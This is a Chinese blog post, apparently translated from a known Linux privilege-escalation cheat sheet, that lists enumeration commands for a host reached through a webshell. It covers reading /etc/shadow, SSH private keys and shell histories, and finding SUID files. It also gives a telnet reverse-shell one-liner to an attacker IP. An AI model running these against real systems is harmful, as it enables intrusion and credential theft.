這些命令你用過多少?
在拿到一個 webshell 之後,大家首先會想到去把自己的許可權提升到最高,windows 我們會提升到 SYSTEM 許可權,而 Linux 我們會提升到 root 許可權,拿在進行 Linux 提權的時候我們要進行哪些操作呢?需要了解哪些資訊?使用什麼樣的命令?這些就是本文的重點。
關於Linux許可權提升,有下面幾個步驟:
資訊收集:儘量收集更多的關於系統的資訊。
資料分析:透過把收集到的資料以及資訊進行分析,提取其中對我們提升許可權有用的資訊備用。
搜尋:要知道我們需要搜尋什麼以及去哪裡找對應的 exp 。
對症下藥:修改我們搜尋到的 exp ,針對不同的系統不同的情況做針對性的修改。
嘗試:萬事俱備,只欠東風,最後一步就是驗收結果的時候了,有沒有用在此一搏。
作業系統資訊收集
如何檢視伺服器的版本?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # 基於 Debian
cat /etc/redhat-release # 基於 Redhat
如何檢視核心的版本資訊?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
環境變數裡的資訊如何檢視?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
是否有印表機?
lpstat -a
應用和服務資訊
有什麼服務在執行?是以什麼樣的許可權在執行?
ps aux
ps -ef
top
cat /etc/services
關注一下以 root 許可權執行的服務,有可能對我們提權有幫助。
ps aux | grep root
ps -ef | grep root
安裝了哪些應用?版本是啥?當前是否在執行?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
常見的配置檔案有哪些?有沒有可被攻擊的外掛安裝?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.r./
有什麼工作任務計劃?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
如何查詢系統內跟使用者名稱和密碼相關的檔案?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
網路通訊相關
系統內是否存在NIC?是否連線這其他網路?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
網路配置資訊在哪?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
與哪些主機在通訊?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
有哪些關於 IP 和 MAC 地址的快取?
arp -e
route
/sbin/route -nee
如何抓取流量?怎麼看?
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
注意:tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
如何得到一個 shell 連線?你可以與系統互動嗎?
nc -lvp 4444 # 在攻擊者的 PC 上執行
nc -lvp 4445 # 在受害者的 PC 上執行
telnet [atackers ip] 4444 | /bin/sh | telnet [local ip] 4445 # 在受害者的 PC 上執行
其他姿勢參見:linux下反彈shell的姿勢
如何進行埠轉發?
參考文章:穿越邊界的姿勢
其他姿勢請自行探索
如何使用隧道執行命令?
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
跟使用者相關的資訊
我是誰?誰登入了?誰登入過?等
id
who
w
last
cat /etc/passwd | cut -d: -f1 # 列出使用者
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 列出超級使用者
awk -F: '($3 == "0") {print}' /etc/passwd # 列出超級使用者
cat /etc/sudoers
sudo -l
有哪些敏感檔案?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
根目錄如果可以訪問,有哪些有趣的東西?
ls -ahlR /root/
ls -ahlR /home/
可能存在密碼的檔案?
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
使用者做了什麼?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
有關使用者的資訊在哪?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
私鑰在什麼地方?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
檔案系統
/etc/ 下有哪些檔案可寫,哪些服務可以被重新配置?
ls -aRl /etc/ | awk '$1 ~ /^.w./' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在 /var/ 下我們能發現什麼?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
在網站的目錄下有沒有隱藏檔案?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
有哪些日誌檔案?
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
值得注意的: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
如果命令執行被監視怎麼辦?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
檔案系統如何安裝?
mount
df -h
是否有未安裝的檔案系統?
cat /etc/fstab
有哪些 “ 高階的 Linux 檔案許可權 ” 在使用?
find / -perm -1000 -type d 2>/dev/null # Sticky bit - 只有目錄的所有者或檔案的所有者才能刪除或重新命名。
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - 作為組執行,而不是啟動它的使用者。
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - 作為所有者執行,而不是啟動它的使用者。
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in
locate -r "bin$"
; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # 查詢常見位置中用於 SGID 或 SUID 的檔案find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null # 從根開始查詢所有的 SUID 不包括符號連結,並且只搜尋三層
如何查詢可寫可執行的目錄?
find / -writable -type d 2>/dev/null # 可寫目錄
find / -perm -222 -type d 2>/dev/null # 可寫目錄
find / -perm -o w -type d 2>/dev/null # 可寫目錄
find / -perm -o x -type d 2>/dev/null # 可執行目錄
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
如何查詢可能存在問題的檔案?
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # 可寫的檔案
find /dir -xdev ( -nouser -o -nogroup ) -print # 沒有歸屬的檔案
尋找可利用的漏洞
安裝支援哪些工具和語言?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
能夠用於上傳的軟體有那些?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
查詢 exploit 的網站?
http://metasploit.com/modules/
有關漏洞的更多資訊?
http://packetstormsecurity.org/files/cve/[CVE]
應急措施
針對以上提到的所有命令,執行收集一下資訊,看能否找到可以利用的點,然後針對可利用的點進行升級或者使用一些安全產品來做防護,使用如下命令進行升級:
apt-get update && apt-get upgrade
yum update
一些執行許可權的問題?比如 mysql 是否是用 root 許可權執行的?
文章來源:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
相關文章
- 學習Linux,這些命令你都掌握了嗎?2021-09-29Linux
- 這些年死了多少遊戲公司?2019-12-02遊戲
- 看看這些被同事噴的JS程式碼風格你寫過多少2019-03-03JS
- 用了這麼多年MySql,這些好習慣你用過哪些2020-05-21MySql
- 這些年一直是寫程式碼的命2013-09-09
- 這些關於WebSocket的知識,你知道多少?2019-04-27Web
- Linux常見面試題,這些你知道多少?2022-02-08Linux面試題
- 你用過 PropTypes 的這些型別檢查麼?2018-12-16型別
- 這些深度學習術語,你瞭解多少?(上)2018-11-14深度學習
- 這些深度學習術語,你瞭解多少?(下)2018-11-14深度學習
- MySQL 的 help 命令你真的會用嗎?2018-07-19MySql
- 這些強大的辦公軟體你用過幾個2019-07-10
- 妄想只用技術就能為巴黎聖母院這些文物續命?naive!2019-04-18AI
- 這些成功的人工智慧應用,你見過哪幾個?2019-07-05人工智慧
- 想用好Docker,你不能錯過這些2016-11-23Docker
- 沒用過這些 IDEA 外掛?怪不得寫程式碼頭疼2020-04-29Idea
- OpenTiny 的這些特色元件,很實用,但你應該沒見過2023-04-07元件
- 【Git 系列】一個超好用的命令你會用嗎?2021-11-12Git
- 這是個技術偽命題2019-06-06
- 小程式的這些坑你踩過嗎?2019-03-04
- 這些年背過的面試題——MySQL篇2024-02-06面試題MySql
- 這些年背過的面試題——Redis篇2024-02-04面試題Redis
- 這些年背過的面試題——Kafka篇2024-02-20面試題Kafka
- 元宵快樂,這些技術類燈謎,你能猜對多少個?2022-02-15
- 這些基礎卻重要的物件導向概念,你還記得多少2015-09-24物件
- 用Java這麼多年,這些祕密你知道嗎?2018-05-11Java
- 仿照這個網路公司網站大概費用多少,如果用thinkphp2019-05-11網站PHP
- 這些Zepto中實用的方法集2017-08-26
- 面試中的這些坑,你踩過幾個?2018-09-10面試
- 這些年背過的面試題——SpringCloud篇2024-02-28面試題SpringGCCloud
- 這些Java8官方挖過的坑,你踩過幾個?2020-06-01Java
- 使用這些 HTTP 頭保護 Web 應用2019-03-12HTTPWeb
- 超酷!這些事也可以用Google做2019-05-11Go
- 講課這些天(二):那些年踩過的坑2021-09-09
- 透過這些示例快速學習Java lambda語法2018-12-14Java
- 你“聽”過這些經典排序演算法嗎?2018-07-17排序演算法
- 更新Kali的Metasploit框架,這些過程千萬不要踩雷!2022-02-24框架
- Go Slice 擴容的這些坑你踩過嗎?2023-03-26Go